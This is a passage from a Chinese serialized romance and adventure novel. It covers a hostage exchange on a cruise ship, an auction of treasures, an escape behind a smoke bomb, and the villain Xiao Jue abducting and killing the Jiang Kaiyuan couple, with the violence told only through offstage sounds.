她不退反进,手臂如灵蛇般探出,精准地扣住了姜飞飞的肩膀,同时另一只手疾速伸出,在姜飞飞的额头即将撞上那坚硬木角的前一刻,用手掌稳稳地垫在了中间。 “砰”的一声闷响,是姜飞飞的额头撞在了秦绵绵柔软却坚韧的掌心。 力道不小,秦绵绵的手掌都有些发麻,但她面上却不见丝毫变化,只是眼神更冷了几分。 “想死?没那么容易。” 秦绵绵手腕一错一带,便将姜飞飞整个人都扭转过来,让她背对自己。 紧接着,她不知从哪里摸出一条坚韧的束带——那是她从之前那些黑衣壮汉身上顺手牵羊得来的“战利品”之一,三两下就将姜飞飞的双手反剪在身后,捆了个结结实实。 整个过程兔起鹘落,不过瞬息之间。 姜飞飞被制住,动弹不得,口中兀自不干不净地咒骂着,身体却徒劳地扭动,像一条被缚住的毒蛇。 裴应见走到秦绵绵身边,看着她利落的手法,唇角勾起一抹赞许的浅笑,语气中带着他自己都未曾察觉的纵容与骄傲: “我们绵绵,如今真是越发厉害了,绑人的手法都这般娴熟。” 秦绵绵闻言,回头瞪了他一眼。 她拍了拍手:“别贫了。萧玦既然那么宝贝他这个妹妹,那我们就让他看看,他这个妹妹在我们手上,他会怎么选。” 她看向被绑得结结实实,仍在地上徒劳挣扎的姜飞飞,眼中闪过一丝冷意。 “走吧,姜小姐,”秦绵绵拽起姜飞飞,“带我们去见见你的好哥哥。我倒要看看,在他心里,你这个妹妹重要不重要。” 姜飞飞被她拽着,踉跄着往前,听到这话,脸色骤然又白了几分。 她想起了之前萧玦毫不犹豫将姜敬意扔下海的场景,一股寒意从脚底直冲头顶。 萧玦……真的会在乎她的死活吗? 这个念头一旦升起,便如野草般疯长,让她心中那份仅存的依仗也开始崩塌。 一念至此,姜飞飞竟再也忍不住,竟呜呜哭了起来。 秦绵绵看着她这副涕泪横流的样子,眉头微蹙,眼中闪过一丝嫌弃: “哭成这样,待会儿还怎么跟你哥哥谈条件?脏兮兮的,不像样子。” 她转头看向裴应见:“想想办法呗,这样也不太利落。” 裴应见唇角勾起一抹极淡的弧度,眼神中带着一丝狡黠,仿佛一切尽在掌握: “自然是有办法的,而且,是个万无一失的办法。” 姜飞飞听到这话,心中顿时警铃大作,一种不祥的预感油然而生,她惊恐地瞪大了眼睛,刚想挣扎,却见裴应见身形微动。 下一瞬,她只觉得后颈一麻,眼前骤然一黑,便彻底失去了知觉,软软地倒了下去,被裴应见顺势接住。 紧接着,如同他们来时一般,屋内毫无征兆地浮起一阵薄雾。 雾气极淡,却带着一股奇异的冰冷感,迅速弥漫开来。 秦绵绵下意识地屏住呼吸,只见裴应见抱着昏迷的姜飞飞的身影在雾气中渐渐模糊。 不过眨眼功夫,雾气散去,裴应见依旧站在原地,只是怀中已经空空如也,姜飞飞不见了踪影。 “送回去了?” 裴应见掸了掸衣袖,仿佛只是做了一件微不足道的小事: “嗯,送到了一个绝对安全的地方。我们走吧,去会会萧玦。” 秦绵绵点了点头,两人并肩走出房间,沿着来时的内部通道,很快便回到了游轮的甲板之上。 清晨的海风带着咸湿的气息扑面而来,吹动着两人的衣袂。 甲板上的人明显比之前多了些,气氛却有些诡异的凝滞。 几乎在他们踏上甲板的同时,数道锐利的目光便齐齐投了过来。 萧玦带着一群黑衣手下,早已等候在此,很快将他们团团围住。 每个人手中都握着武器。 萧玦的轮椅在人群最前方,一身剪裁合体的黑色西装,衬得他面容愈发冷峻。 他看着突然出现的两人,眼中闪过浓重的阴鸷。 “你们果然还活着。” 秦绵绵迎着他的目光,神色平静,甚至还带着几分从容: “萧先生,别来无恙。看来你对我们的出现,并不怎么惊喜。” 裴应见默不作声地站在秦绵绵身侧,周身散发着生人勿近的寒意,目光冷冷地扫过周围的黑衣人,带着无形的压迫感。 萧玦冷哼一声,“我确实很想知道,你们是如何从那样的风暴中活下来的,又是如何神不知鬼不觉地回到船上的。” “这个说来话长,我们还是先谈谈眼下的事情。” 秦绵绵并不打算解释,她往前一步:“萧先生,你的宝贝妹妹姜飞飞现在在我们手上。我们想用她,跟你交换一个人,另外,换完了人,你必须立刻下船去。” 萧玦闻言,瞳孔微微一缩:“我怎么知道你们说的是真是假?” “你可以不信。”秦绵绵语气淡然,“但你也可以赌一把,看看是你先找到她,还是我们先失去耐心。” 萧玦眼神闪烁,忽然嗤笑一声: “用姜飞飞换人?换谁?盛意吗?” 他顿了顿,眼中露出一抹残忍的笑意,“恐怕要让你失望了,盛意已经死了。” 秦绵绵脸上没有丝毫反应。 她定定地看着萧玦,语气平静地反问:“死了?萧先生,我虽然不算特别了解你,但也知道,盛意对你而言,应该还有别的用处的。在榨干他所有价值之前,你舍得让他这么轻易就死了?” 第214章 交锋 萧玦深深地看了她半晌,仿佛要从她脸上看出些什么。 这个女人,远比他想象的要冷静和敏锐,似乎能透过表面看穿他的盘算。 最终,他移开视线,对着身后的人打了个手势。 不多时,两个黑衣人架着一个身材高大、浑身是伤的男人走了过来。 正是盛意。 他头发凌乱,带着些许胡茬的下巴沾染了血污,露出的手臂和小腿上遍布着青紫的瘀伤和细密的血痕,显然是受了极重的伤和虐待。 此刻他气息微弱,脸色苍白如纸,连睁开眼睛的力气都没有了,却依然能从他紧抿的唇角感受到一股硬朗的底色。 秦绵绵看到盛意这副模样,怒意涌上心头,但她没有流露出半分异样。 萧玦嘴角勾起一抹玩味的弧度。 他语气一转: “我同意交换。用盛意换姜飞飞。至于下船……秦小姐,你觉得这个条件对等吗?我是个生意人,我可不做赔本的买卖。” 秦绵绵迎上他的目光,语气十分强势: “萧先生,我想你现在没有资格跟我谈条件。因为你绝对猜不到你的好妹妹现在在哪里。只要我不说……你永远也别想找到姜飞飞。” 萧玦的脸色阴沉得几乎能滴出水来,他盯着秦绵绵: “你是在威胁我?你可知道,上一个敢这么跟我说话的人,现在是什么下场?” 他周身的气压骤然降低,那些黑衣手下也随之握紧了手中的武器,气氛剑拔弩张。 秦绵绵却仿佛未曾感受到那股迫人的寒意,她甚至还轻轻笑了一下: “萧先生言重了。我不过是想跟你做个公平的交易。至于其他人怎么样,我并不关心。我只关心,我的条件,萧先生答不答应。” 她微微偏头,目光扫过那些面色不善的黑衣人: “萧先生大可以现在就让人把这艘船翻个底朝天,看看能不能找到你的宝贝妹妹。只不过,我耐心有限……如果你不答应我的条件,我保证,你这辈子都不会再见到她了。” “你!”萧玦猛地一拍轮椅扶手,眼中怒火翻腾。 他确实不敢赌。 姜飞飞虽然不争气,但毕竟是他千辛万苦寻回的亲生妹妹。 裴应见始终沉默地站在秦绵绵身旁,此刻上前一步,那无形的威压让萧玦身边的手下都感到一阵心悸。 僵持片刻,萧玦脸上的怒容渐渐收敛,取而代之的是一种深沉的审视。 他深深地看了秦绵绵和裴应见一眼,忽然语气一转,带着几分莫测的意味: “好,很好。今天的拍卖会即将开始,不如我们暂时放下这些不愉快,先享受一下这海上的盛宴如何?至于交易的事情,容我考虑考虑。” 他挥了挥手,“请秦小姐和裴先生去休息区,务必让他们感受到我们拍卖会的热烈气氛。” 名为邀请,实则监视。 秦绵绵和裴应见对视一眼,心知肚明。 “那就多谢萧先生了。”秦绵绵从善如流。 两人跟着侍应生离开,萧玦立刻对着身边的亲信低声吩咐: “把船上所有能藏人的地方,给我一寸一寸地搜!任何角落都不能放过!我就不信,他们能把人藏到天上去!” 游轮之上,一场无声的搜寻秘密展开。 然而,时间一点点过去,手下人传回的消息却都是没有结果,姜飞飞就像秦绵绵所说,好像是凭空蒸发了一般,毫无踪迹。 贵宾休息室内,萧玦听着亲信的汇报,脸色越来越难看。 “所有地方都查过了,包括备用储藏室、员工休息区,甚至通风管道都检查了,真的……找不到小姐。” 亲信小心翼翼地回道。 萧玦沉默不语,手指无意识地敲击着轮椅扶手。 他脑中不断回放着秦绵绵和裴应见出现时的情景,以及他们那有恃无恐的态度。 从风暴中活下来,神不知鬼不觉地回到船上,现在又能让一个人凭空消失…… “这两个人,绝不是普通人。”萧玦喃喃自语,眼中闪过一丝忌惮。 他向来不做亏本买卖,更不打无准备之仗。 眼下,这两个人给他带来的未知,已经超出了他的掌控范围。 “老板,那……我们还继续找吗?” 萧玦摆了摆手,眼中闪过一丝决断:“不必了。通知下去,我们准备下船。” 亲信有些错愕,“可拍卖会……” “与这两个人相比,一场拍卖会算什么。”萧玦冷声道,“留得青山在,不怕没柴烧。这次,算我栽了。” 他不愿意再耗下去,这两个人身上的谜团太多,让他感到了前所未有的威胁。 消息很快传开,游轮上的宾客们都有些骚动。 萧玦作为此次拍卖会的重要人物之一,突然要提前离场,这无疑引起了众人的猜测和好奇。 当萧玦在手下的簇拥下,面色冷峻地滚着轮椅走向小艇准备离船时,甲板上看热闹的人群中爆发出一阵低低的议论声。 “怎么回事?萧先生怎么突然要走了?” “不知道啊,难道是出了什么变故?” 拍卖会的负责人熊先生笑眯眯地走到人群前,拍了拍手: “诸位,诸位,安静一下。萧先生有些急事需要处理,先行一步。我们游轮的拍卖会一切照常,精彩不容错过。大家还是好好享受这难得的旅程吧,不该问的,就别多问,免得惹祸上身哦。” 他语气温和,但话语中的警告意味却让众人心头一凛,纷纷噤声。 小艇载着萧玦一行人,迅速消失在海平面上。 秦绵绵和裴应见站在甲板的另一侧,看着远去的小艇,相视一笑。 秦绵绵从侍应生的托盘里取过两杯香槟,递给裴应见一杯:“喝一杯吗?” 裴应见接过酒杯,与她轻轻一碰,深邃的眼眸里盛满了温柔。 两人并肩凭栏,海风吹拂,之前的紧张和凶险仿佛都已远去。 “盛意怎么样了?”秦绵绵抿了一口酒,问道。 “已经安排了船上最好的医生看过了,都是皮外伤,敷了药,正在休息。底子好,没什么大碍。”裴应见道,“他醒来后,一直说对不住我们,没保护好你。” 第215章 拍卖会开始 秦绵绵心中微暖,也有些过意不去:“他已经尽力了。这次应该是我们欠他的。” 裴应见握住她的手:“嗯,我们记在心里。” 两人温存片刻,秦绵绵和裴应见一起去找拍卖会主人熊先生。 她要去交涉一下,让他派艘船去那个小岛把姜敬意接回来。 熊先生对于秦绵绵的请求,倒是没有过多为难。 毕竟萧玦已经离去,能让萧玦让步的人,绝不是什么普通人,他自然乐的卖秦绵绵一个人情。 他很快便同意派出一艘快艇前往秦绵绵提供的小岛坐标。 等待的时间并不算太久,当姜敬意活蹦乱跳地从快艇上下来时,秦绵绵悬着的心终于彻底放下了。 而据船员说,姜敬意自己一个人在那个小岛上自给自足,过的还颇有意思。 他现在看起来不过有些风尘仆仆,精神却很好,见到秦绵绵和裴应见,咧嘴一笑:“丫头,行啊!没给四叔我丢脸!” 他上来就给了秦绵绵一个大大的熊抱,然后拍着她的背,“我就知道你这丫头福大命大,肯定没事!” “四叔,你没事就好。”秦绵绵眼眶微热。 姜敬意放开她,又上下打量了裴应见一番,嘿嘿一笑,没多问他们是如何从风暴中脱险又回到游轮的细节,只是重重地拍了拍裴应见的肩膀: “小子,你也不错!” 随后,几人回房路上,姜敬意又凑到裴应见身边,压低了声音,用只有两人能听到的音量说道: “小子,经过这件事,我认可你了。我家绵绵,从今以后就交给你了。” 裴应见一向波澜不惊的人,此刻闻言,耳根竟微微有些发热。 话也说不出来了,只是郑重地点了点头,腼腆的像个得了长辈认可,有些不知所措的毛头小子。 萧玦的提前离场,像是一颗投入湖中的石子,在游轮的上层圈子里激起了一阵不大不小的涟漪。 但很快,海上的风浪便抚平了这暂时的波动。拍卖会,在负责人熊先生滴水不漏的安排下,有条不紊地拉开了帷幕。 没有了萧玦那一行人带来的压迫感,甲板上的气氛明显松弛了许多,宾客们三三两两聚在一起,低声交谈,脸上带着对即将开始的盛宴的期待。 璀璨的灯光将甲板映照得如同白昼,海风习习,送来远方的涛声,与悠扬的背景音乐交织在一起,别有一番奢华而惬意的格调。 秦绵绵和裴应见在侍者的引导下,入座于视野极佳的前排。 姜敬意则坐在他们旁边,经历了一番海岛求生,此刻重回这纸醉金迷的场合,他反而更加肆意,东张西望,对什么都透着新鲜。 拍卖台上的灯光骤然亮起,主持人走上台,用极富感染力的声音宣布拍卖会正式开始。 一件件珍品流水般呈上,又在激烈的竞价中各归其主。气氛逐渐热烈起来。 终于,一件青铜尊被小心翼翼地推了上来。 此尊造型古朴大气,纹饰繁复精美,周身散发着幽幽的青色光泽,一看便知是年代久远的珍品。 “这便是何家拿出来的那件西周饕餮纹青铜尊吧?”人群中有人低呼。 秦绵绵的目光也落在那青铜尊上,随即下意识地在人群中搜寻。她这才发觉,从拍卖会开始到现在,何家姐弟俩一直没有露面。 之前在甲板上与萧玦对峙时,也未曾见到他们。 青铜尊的竞价异常激烈,价格一路攀升,最终被一位神秘的买家以令人咋舌的高价拍下。 掌声雷动中,熊先生不知何时走到了秦绵绵身边,脸上依旧是那副招牌式的和善笑容:“秦小姐,裴先生,姜先生,几位还满意吗?” “熊先生客气了,拍卖会很精彩。”秦绵绵客套道,随即问出了心中的疑惑,“说起来,今日似乎未曾见到何家姐弟?” 熊先生闻言,笑容不变,他示意几人稍作移步,到了一处相对安静的角落,这才缓缓开口: “不瞒秦小姐,说来也是缘分。我年轻时,曾受过何家老太爷的一饭之恩。这点微末的恩情,老太爷或许早已不记得,熊某却一直铭记在心。” “今日之事,何家那两位小辈,脾气也是刚烈,见萧公子那般针对秦小姐你们,便执意要出来给你们撑腰。我担心他们年轻气盛,反而坏了事,也怕萧公子迁怒于他们,便自作主张,拦下了他们,安排船只将他们先送回岸上了。” “这么做,也算是我还了何家老太爷当年的那份情。” 秦绵绵和裴应见对视一眼,心中了然。这位熊先生,看似是个八面玲珑不择手段的生意人,竟然也是个重情义的。 “他们离开前,特意交代过,这件青铜尊所得的款项,全部转交给秦小姐您。” 秦绵绵闻言,不禁莞尔,随即却坚定地拒绝了。 “君子不夺人之美,这份心意我心领了。但这笔钱我不能收。还请您代为转告,他们的情谊,我记下了。” 这青铜尊的成交价,她可是听得清清楚楚,那是一笔足以让任何人侧目的巨款。她秦绵绵虽然也爱财,但这青铜尊说到底还是何家的,还给何家正好。 熊先生似乎早就料到她会如此,眼中闪过一丝赞许: “秦小姐高义,熊某佩服。既然如此,这笔款项我会妥善处理,待日后有机会,再转达给何家小友。” 秦绵绵嫣然一笑,“我那几件不成器的小玩意儿,还望熊先生多多关照一二。” 熊先生眼中精光一闪:“秦小姐的那几件‘小玩意儿’,熊某可是期待得很啊!” 接下来的拍卖,便轮到了秦绵绵拿出的那几件宝贝。 东西一上来,在场的所有人便都被镇住了。 这些哪是小玩意啊,每一件都是价值连城的宝物才是。 当第一件物品——一支通体剔透、雕工精绝的翡翠凤簪被呈上时,场内便响起了一片吸气声。 那翡翠水头极足,色泽鲜阳,凤羽栩栩如生,凤眼处镶嵌的细小红宝石更是画龙点睛,在灯光下流光溢彩。 “此乃‘凤仪霞彩簪’,起拍价……” 不等主持人报出底价,竞价牌便纷纷举起。 第216章 五个亿 紧接着,是一幅据传为前朝名家真迹的山水画卷,笔法苍劲,意境悠远,引得不少爱好古玩书画的富商争相出价。 再然后,是一枚鸽血红宝石戒指,那红宝石硕大无朋,色泽浓郁如血,切割完美,火彩耀眼,甫一亮相,便引爆了全场的热情,尤其是女性宾客,眼中几乎要放出光来。 最后,则是一套精巧绝伦的纯金打造的文房四宝,其上錾刻着细密的缠枝莲纹,工艺之繁复,用料之奢靡,令人叹为观止。 每一件物品,都堪称稀世珍宝,引得场内竞价声此起彼伏,价格节节攀升,几乎没有遇到任何阻滞。 姜敬意尽管早就知道秦绵绵送拍的东西是什么,但还是忍不住眼毛精光。 秦绵绵却只是浅笑从容。 裴应见也始终神色平静地坐在她身旁,仿佛那些价值连城的宝物在他眼中,还不如秦绵绵唇边的一抹笑意来得吸引人。 当最后一件拍品尘埃落定,拍卖师敲下成交槌的那一刻,姜敬意只觉得脑子都有些晕乎乎的。 他迫不及待地拉着秦绵绵:“丫头,快算算,这些拢共卖了多少?” 秦绵绵看着他那副急切又不敢置信的模样,忍着笑,伸出了五个白皙修长的手指。 姜敬意瞪大了眼睛,倒吸一口凉气,“五……五个亿?!” 秦绵绵笑着点了点头。 饶是姜敬意见过些世面,此刻也被这个数字给震得半晌说不出话来。 五个亿! 除去为了填补姜家大房二房捅下的窟窿,剩下的钱,足以让秦绵绵摇身一变,成为一个不折不扣的小富婆了! 姜敬意一拍大腿:“好!好啊!丫头,你这下可出息了!” 秦绵绵却轻轻摇了摇头,目光转向身旁的裴应见: “四叔,这些钱也不属于我。” 这些东西本是从裴应见从皇宫宝库里偷出来的,按照他们以往交易的管理,卖了的钱除去佣金,还应该还给大侯爷才是。 裴应见闻言,微微一笑:“送给绵绵也不是不可以。” 姜敬意在一旁听着,眼珠子转了转,嘿嘿一笑,像是想到了什么绝妙的主意: “哎,我说你们俩也别争了!绵绵啊,我看这些钱正好就让这小子当聘礼,娶我们家绵绵过门,岂不是两全其美?” 裴应见听到“聘礼”二字,耳根不易察觉地微微泛红,但神色却愈发郑重。 他看向秦绵绵:“这些不行。绵绵,我会另外准备。” 这些东西到底是贼赃,怎配得上他心尖上的人。 他要给她的,是独一无二,是他倾尽所有。 秦绵绵被“聘礼”两个字说得脸颊也有些发烫,看着裴应见那认真的模样,心中微动,故意眨了眨眼,装傻道: “聘礼?什么聘礼呀?哎呀,拍卖会结束了,我口渴了,去找点喝的!” 说罢,她便兔子一般从座位上起身,逃也似的溜走了,留下裴应见和姜敬意相视而笑。 海风拂过,带着一丝甜意。 接下来的几天,游轮继续在海上航行,但气氛已经完全不同。 没有了萧玦的阴鸷目光,秦绵绵、裴应见和姜敬意三人享受着难得的宁静与惬意。 盛意的伤势也恢复得很快,虽然脸色还有些苍白,但已经能够下地行走,与他们一起欣赏海上的风光。 最后一天,清晨的阳光洒在甲板上,泛起粼粼波光。 秦绵绵靠在栏杆上,看着远方与天相接的海平面,海风吹动着她的发丝,带来阵阵海腥味。 姜敬意穿着一件花衬衫,翘着二郎腿坐在椅子上,眯着眼睛享受日光浴,不时瞄一眼秦绵绵和裴应见。 “哎,我说你们俩啊,”姜敬意终于忍不住开口,打破了这份宁静,“这海上风景这么好,气氛也这么好,有什么话不能趁现在说了?” 他挤眉弄眼地看向裴应见,一副“四叔帮你助攻”的模样。 裴应见闻言,唇角勾起一丝意味不明的浅笑。 远远的,他的目光温柔地落在秦绵绵的侧脸上: “四叔,其实绵绵她什么都明白。” 姜敬意一听,顿时来了精神,坐直了身子:“明白什么?你小子别打哑谜啊!既然明白,那为啥还没……” 他意有所指地瞟了一眼秦绵绵。 裴应见轻笑一声,没有直接回答:“有些话,得到了合适的时候才能说。她知道我的心意,这便足够了。” 姜敬意急得直挠头。 “四叔,我看盛意的伤好得差不多了,让他先回房休息吧。”秦绵绵突然走过来,打断了姜敬意的助攻。 姜敬意看了看一旁端坐的的盛意,盛意虽然身体状况有所好转,但时间久了精神依旧撑不住。 他点了点头:“行,让盛意先去休息。还有你,你小子也别老吊着我胃口,这事儿啊,没完!” 裴应应只是微笑点头。 游轮缓缓靠岸,港口码头人头攒动。 秦绵绵、裴应见、姜敬意和盛意四人随着人流走下船。 刚刚踏上陆地,一股熟悉的阴鸷气息便扑面而来。 萧玦坐在轮椅上,带着一群黑衣手下,早已等候在码头上。 他面容冷峻,目光如刀一般锁定在秦绵绵身上。 “秦绵绵,把我妹妹交出来。” 秦绵绵站定脚步,神色平静地与他对视。 她没有丝毫慌乱,甚至唇角还勾起了一抹讥讽的弧度:“萧先生,你妹妹姜飞飞,现在可不在我这儿。她呀,已经送回家了。” 萧玦瞳孔微缩:“胡说!你怎么可能把她从船上送走!” 他可是在船上翻遍了每一个角落,都没有姜飞飞的踪影。 “我说了呀,我会大变活人。”秦绵绵轻描淡写地说道,仿佛这件惊世骇俗的事情在她口中,就像喝水吃饭一样简单。 萧玦当然不信,他冷笑道:“秦绵绵,你以为随便说句话就能蒙混过关吗?把人交出来,否则……” “否则怎么样?”秦绵绵打断了他的话,她的眼神骤然变得凌厉,“萧先生,我说我能大变活人,你偏不信。既然如此,我就给你现场变一个看看!” 第217章 反击 她说着,从袖中悄无声息地滑出一枚小小的烟雾弹,屈指一弹,那枚烟雾弹便悄无声息地落在了地上。 下一秒,一股浓烈的白色烟雾瞬间炸开,迅速弥漫开来,将秦绵绵四人以及他们周围的空间完全笼罩。 萧玦和他的手下被这突如其来的烟雾弄得措手不及,待他们反应过来时,烟雾已经浓稠得几乎看不清人影。 “咳咳……这是什么东西!” “快散开!抓住他们!” 黑衣手下们在烟雾中慌乱地挥舞着武器,试图锁定秦绵绵等人的位置。 然而,当烟雾渐渐散去,露出被包裹的空间时,萧玦的脸色瞬间变得铁青。 那里,空空如也。 秦绵绵、裴应见、姜敬意、盛意,四个人仿佛凭空蒸发了一般,彻底消失在了原地。 “……这怎么可能!”萧玦震惊地瞪大了眼睛。 “老板,他们……他们不见了!”手下们也同样惊骇不已,他们亲眼看着那四个人被烟雾笼罩,然后就这么……消失了。 萧玦强压下心中的震惊,他脑中飞速运转,回想起秦绵绵离开前的最后一句话:“她呀,已经送回家了。” “难道她真的能把人瞬间转移?”这个荒谬的念头一旦升起,便如同野草般疯长,让他不寒而栗。 他沉默了片刻,最终咬牙切齿地说道:“走!去隔壁市!去姜开元那里!” 他决定去姜开元家中看看,秦绵绵是不是真的有那种不可思议的手段,姜飞飞是不是真的凭空出现在姜开元家里! 然而,他并不知道的是,秦绵绵所谓的“大变活人”,只是一个障眼法。 秦绵绵在来之前,就早已备好的小船,就在不远处。 就在烟雾弥漫的瞬间,她带着裴应见、姜敬意和盛意,迅速登上了小船,趁着烟雾的掩护,悄无声息地离开了码头。 小船划破平静的海面,朝着远离港口的方向迅速驶去。 海风拂过他们的脸颊。 “丫头,你可真有你的!吓死我了,我还以为你要带着我们一起凭空消失呢!”姜敬意拍了拍胸脯,心有余悸地说道。 秦绵绵轻笑一声:“四叔,我可没那么大的本事。不过是骗骗萧玦罢了。” 裴应见看着她带着狡黠的笑容,眼中满是宠溺,伸手替她抚了抚吹乱的头发。 小船在晨曦的微光中悄然靠岸,远离了码头的喧嚣,秦绵绵一行人踏上了熟悉的土地,心中都松了一口气。 萧玦那边,只怕还要为那“大变活人”的戏码头疼好一阵子。 回到客栈,天刚蒙蒙亮,客栈里大伙们已经开始了一天的忙碌。 见到秦绵绵、裴应见和姜敬意安然无恙地回来,一个个都喜出望外,七嘴八舌地围了上来。 “掌柜的,您可算回来了!” “这趟出去还顺利吧?” “你们没事就好,可把我们担心坏了。” 秦绵绵笑着与众人打了招呼,目光在人群中扫过,却微微蹙眉: “朱七妹呢?怎么不见她?” 往日里,朱小宝总会第一时间蹦蹦跳跳迎上来的,今天朱七妹和朱小宝却都不在。 叶子雯轻声道:“七妹姐这两天有些不舒服,在屋里歇着呢。” 秦绵绵点点头:“我去看看她。” 客栈后院的女寝宿舍里,秦绵绵推开朱七妹的房门,屋内的光线有些昏暗。 只见朱七妹背对着门口,坐在床边,怀里紧紧抱着熟睡的朱小宝,肩膀微微耸动着,压抑的呜咽声断断续续传来。 “七妹?”秦绵绵放轻了声音。 朱七妹的身子一僵,慌忙转过头,胡乱地用袖子擦了擦脸颊,扯出一个勉强的笑容。 对着秦绵绵比划着手势,示意自己没事,只是有些感冒流了鼻涕。小宝也有些被她传染了,都吃过药了,应该很快就会好。 秦绵绵看着她红肿的眼眶和故作轻松的样子,知道事情恐怕不像她说的那么简单。 但见她不愿多谈,秦绵绵也没有追问,只是温声道:“既是感冒了,就好好歇着,厨房里有熬好的汤,我让子雯给你送一碗过来。小宝要是有什么不适,也及时告诉我。” 朱七妹连连点头。 秦绵绵轻轻带上房门离开。 回到前堂,姜芙早已得到消息,风风火火地赶了过来。 她一见秦绵绵,也顾不上寒暄,劈头就问:“绵绵,怎么样,卖没卖到钱!” 秦绵绵示意她附耳过来,低声说了几句。 姜芙听完,眼睛蓦地睁大,脸上露出难以置信的神色,随即又被巨大的惊喜取代。 “我已经安排转账了,你即刻拿回去,先把账目填平,剩下的,我们再慢慢计较。” 都是亲兄弟,姜开元却出手做局大哥二哥,把大房二房坑的这么惨,虽然所有人都知道姜开元意在秦绵绵,但这一场,大房二房也都寒心了,各自都憋着一口气,只等着发泄呢。 姜芙眼圈一下子就红了:“绵绵……” “行了,别婆婆妈妈的。”秦绵绵拍了拍她的手,“你赶紧去办事,务必做得滴水不漏。姜家的未来都靠你了。” 姜芙哭了一下,立刻急匆匆走了。 秦绵绵又转向叶子舟。 作为学霸的叶子舟,有非常多的学霸同学人脉。 之前他说过有几个同学在金融领域很厉害,手法老道,秦绵绵此刻就想请他们帮个忙。 叶子舟会意:“掌柜的放心,都是信得过的人,手法绝对干净利落。” 秦绵绵眼中闪过一丝冷意:“那就好。姜开元夫妇不是得意洋洋地坑了大房二房吗?我要让他们把吃下去的,加倍吐出来!” 此时的姜开元夫妇,正在隔壁市的宅邸中开派对庆贺。 他们通过巧妙的金融运作,不仅从姜家大房二房手中坑走了一个亿的巨额资金,还做得神不知鬼不觉,自以为高枕无忧。 姜开元端着茶杯,满面红光: “夫人,这次可真是天助我也!有了这一个亿,我们家日后便是这一带首屈一指的富贵人家了!秦绵绵那个臭丫头,还有大房二房,将来都得跪着来求我!” 第218章 姜开元夫妻之死 柏美俞也是喜不自胜,描画精致的眉眼间满是得意:“还是你运筹帷幄,大房二房以为傍上那个臭丫头就能踩死我们了?哼,这就让他们知道好看!” 然而,他们的得意并没有持续太久。 就在姜芙拿着秦绵绵给的资金,在叶子舟找来的高人指点下,迅速填补了姜家账目上的窟窿,稳住了各方债主的同时,一张针对姜开元夫妇的无形大网也悄然张开。 那些经验老道的金融专业人士,通过分析姜开元夫妇转移资金的银行账户流水和投资操作,很快便找到了其中的破绽。 他们利用姜开元夫妇贪婪冒进的心理,在金融市场上设下了一个精巧的圈套。 姜开元夫妇本以为又有一笔横财可发,毫不犹豫地投入了大量资金。 结果,形势急转直下,不仅没赚到分毫,反而之前吞下的一个亿还没捂热,就先倒赔进去了数千万人民币。 当银行的催款通知和各种债务凭证如同雪片般飞来时,姜开元看着账本上触目惊心的赤字,只觉得眼前一黑。 他怎么也想不明白,明明是稳赚不赔的买卖,怎么会一下子亏空如此巨大。 “不可能!这绝对不可能!”姜开元面色惨白,浑身颤抖地指着账本,“一定是有人在背后搞鬼!对了,一定是那个臭丫头,是秦绵绵在害我!” 巨大的刺激之下,姜开元只觉得胸口一阵剧痛,呼吸也变得困难起来。 他捂着心口,直挺挺地倒了下去。 柏美俞吓得魂飞魄散,尖叫着扑了上去。 一场精心策划的釜底抽薪,让原本得意忘形的姜开元,乐极生悲,直接被气得心脏病发,送进了医院。 两人的得意算盘也顷刻间化为泡影。 然而,命运的无常远未结束。 就在姜开元吊着一口气,柏美俞六神无主之际,一伙黑衣人如同鬼魅般潜入了简陋的病房。 不等两人反应,一块浸透了迷药的布巾便捂上了口鼻。 再次醒来时,姜开元发现自己和柏美俞被反绑着手脚,扔在一间漆黑潮湿的破屋里。 空气中弥漫着铁锈和霉烂的恶臭,唯一的光源来自门缝透进的微弱月光,勉强勾勒出一个坐在他们对面的身影。 那人藏在阴影里,看不清面容,但周身散发着令人不寒而栗的阴冷。 柏美俞吓得魂不附体,牙齿咯咯作响:“你,你是什么人……” 姜开元本来就在病中,这一吓也是面如死灰,强撑着一口气道: “这位好汉,是不是秦绵绵那个贱人让你来的……我们被她坑走的钱,都已经……都已经赔光了啊!” 他以为对方是来替秦绵绵追讨那些他们赔掉的款项。 而对面回应他们的,只是一声冷笑。 “姜先生,姜夫人,”低沉而沙哑的声音响起,带着一种居高临下的审视,“告诉我,姜飞飞在哪儿?” 柏美俞瞪大眼睛:“你到底是谁!问飞飞干什么!” 姜开元也道:“阁下是不是找错人了?姜飞飞……那是我们的女儿,她出国之后就失联了,我们也很久没见过她了啊!” 他以为是女儿在外面惹了什么麻烦,连累到了他们。 那人发出一声意义不明的冷哼,声音里带着毫不掩饰的残忍: “找错人?她既然是你们的女儿,你们就该知道她的去向。身为人父人母,却对亲生女儿的死活不闻不问,任其流落在外,甚至连她何时归来、为何失踪都一无所知。你们这样的父母,也配为人?” 他的声音陡然拔高,带着雷霆之怒:“若不是你们的失职,飞飞何至于此!” 姜开元和柏美俞被他身上散发出的杀气吓得瑟瑟发抖,连连磕头求饶:“我们真的不知道……我们说的句句属实啊!” “我们做父母的,怎么可能不担心自己的女儿?只是她一向任性,我们实在是……管不住她啊!” 对面的神秘人静静地听着,片刻后,他像是听到了什么天大的笑话一般,嘴角勾起一抹讥讽的弧度。 他缓缓踱到两人面前,居高临下地看着他们。 姜开元和柏美俞这才看清楚,原来这人竟然是个残疾人,只有一手一脚,还坐着轮椅。 他身形消瘦,带着一张惨白色的面具,夜色中乍一看,仿佛就如从地狱爬出来索命的恶鬼一般。 两人还来不及害怕,对面的人说出的话,却更让他们绝望。 “你们这样的父母,也配为人?” “既然做不好父母,留着也无用了。” “带下去,让他们尝尝,什么叫做‘蚀骨’。” 门被打开,两个黑衣人走进来,粗暴地拎起瘫软如泥的姜开元夫妇。 凄厉的惨叫声回荡在隔壁房间,很快便被拖拽声和重物落地的闷响取代。 铁器摩擦的刺耳声、皮肉被撕裂的闷响以及凄厉至极的哀嚎断断续续传来,持续了漫长的一段时间才渐渐平息。 月光下,轮椅里,男人慢慢摘下面具,露出一张苍白的脸,正是萧玦。 男人眸色阴冷,面容冷硬如铁,仿佛刚刚碾死的不过是两只碍眼的蝼蚁而已。 …… 与此同时,客栈内。 “四叔,有件事,我想同你说。”秦绵绵思忖一阵,还是决定将自己的身世坦诚相告。 当姜敬意听闻秦绵绵并不是秦华青和潘佳芸亲生,而是襁褓中被拐卖替换的婴儿时,震惊之余,更多的是心疼。 他一拍大腿:“怪不得!我就说秦华青那个畜生,怎么生得出我们绵绵这么惊才绝艳的丫头!原来不是亲生的!” 随即,他眉头一紧,神色凝重起来:“丫头,你真正的亲人,可有线索?” 